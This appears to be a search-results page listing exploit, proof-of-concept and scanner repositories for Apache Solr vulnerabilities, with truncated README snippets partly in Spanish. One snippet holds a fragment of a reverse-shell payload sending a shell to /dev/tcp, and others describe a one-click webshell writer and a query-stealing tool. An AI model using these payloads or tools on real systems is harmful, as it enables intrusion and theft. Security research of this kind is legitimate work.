1403 matches found
cve-2017-12629
README Remote code execution occurs in Apache Solr before 7.1 with Apache Lucene before 7.1 by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML...
CVE-2020-13941
CVE-2020-13941: Abusing UNC Paths in Windows Environments in Apache Solr Multiple Solr endpoints have been found to accept absolute paths. In Windows systems these absolute path can be forced to make the OS connect to an attacker-controlled SMB server. This behaviour may result in attacks such as...
Apache-Solr-RCE_CVE-2023-50386_POC
Apache-Solr-RCECVE-2023-50386POC Apache Solr Backup/Restore APIs RCE Poc CVE-2023-50386 References respect to the masters: CVE-2023-50386 vulnerability author's blog Java Security Manager Bypass Techniques Bypassing Reflection Protection in JDK 17 JNI Bypassing RASP Vulnerability exploitation...
CVE-2019-17558_Solr_Vul_Tool
Solr Velocity Template Injection Vulnerability Detection Tool Tool Introduction At the end of October 2019, the Solr Velocity template injection remote command execution vulnerability was disclosed. Manual detection of this vulnerability requires several rounds of capturing and modifying packets...
ApacheSolrRCE
Declaración del proyecto Solo para intercambio educativo en seguridad de la información, no lo utilice para pruebas o ataques ilegales. ApacheSolrRCE ApacheSolrRCE CVE-2019-0193 escribe un shell con un solo clic. El principio es escribir una puerta trasera a través de un flujo de archivos Java...
CVE-2021-44228
Log4j Vulnerability - CVE-2021-44228 📗 Introduction This vulnerability was discovered on December 9, 2021, identified with CVE-2021-44228 , this flaw affects the java log package, generating a Severity Score CVSS of 10 points , providing execution of remote access to the host. This vulnerability...
CVE-2019-0193-exp
CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...
CVE-2021-27905
CVE-2021-27905 Apache Solr ReplicationHandler Server Side Request Forgery SSRF Hit Counter Apache Solr stands for Searching On Lucene with Replication is a free, open-source search engine based on the Apache Lucene library. Written in Java. Apache Solr has RESTful XML/HTTP and JSON APIs and clien...
CVE-2026-44825-Apache-Solr-Scanner
CVE-2026-44825 Escáner de Apache Solr Este repositorio contiene un escáner basado en Go para detectar y probar instancias de Apache Solr que puedan estar afectadas por CVE-2026-44825, relacionado con condiciones de Ejecución Remota de Código RCE mediante Velocity Template. La herramienta puede...
CVE-2019-12409
CVE-2019-12409 RCE en Apache Solr ENABLEREMOTEJMXOPTS="true" root@kitploit: root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true"...
CVE-2020-13957
Apache Solr RCE CVE-2020-13957 Docker Demo Mac Demo NVD CVE-2020-13957 Description NVD CVE-2020-13957 root@kitploit: Apache Solr versions 6.6.0 to 6.6.6, 7.0.0 to 7.7.3 and 8.0.0 to 8.6.2 prevents some features considered dangerous which could be used for remote code execution to be configured in...
Apache Solr - Authentication Bypass
Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the origina...
Apache Solr - Deserialization of Untrusted Data
In Apache Solr versions 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5, the Config API allows to configure the JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side. id:...
Apache OFBiz < 18.12.07 - Local File Inclusion
Arbitrary file reading vulnerability in Apache Software Foundation Apache OFBiz when using the Solr plugin. This is a pre-authentication attack. This issue affects Apache OFBiz: before 18.12.07. id: CVE-2022-47501 info: name: Apache OFBiz 18.12.07 - Local File Inclusion author: your3cho severity:...
Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials
Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users. id: CVE-2026-44825 inf...
CVE-2019-0192
CVE-2019-0192 - Apache Solr RCE 5.0.0 a 5.5.5 y 6.0.0 a 6.6.5 Este es una PoC temprana de la RCE de Apache Solr De https://issues.apache.org/jira/browse/SOLR-13301: ConfigAPI permite configurar el servidor JMX de Solr mediante una solicitud HTTP POST. Al apuntarlo a un servidor RMI malicioso, un...
apache-solr-log4j-CVE-2021-44228
This repository does not have a README...
Solr-GRAB
Solr-GRAB Roba consultas de instancias de Apache Solr con o sin nombre de usuario y contraseña. DESCARGO DE RESPONSABILIDAD : Este proyecto debe usarse solo para pruebas autorizadas y fines educativos. Descarga root@kitploit: git clone https://github.com/GnosticPlayers/Solr-GRAB Uso Puedes buscar...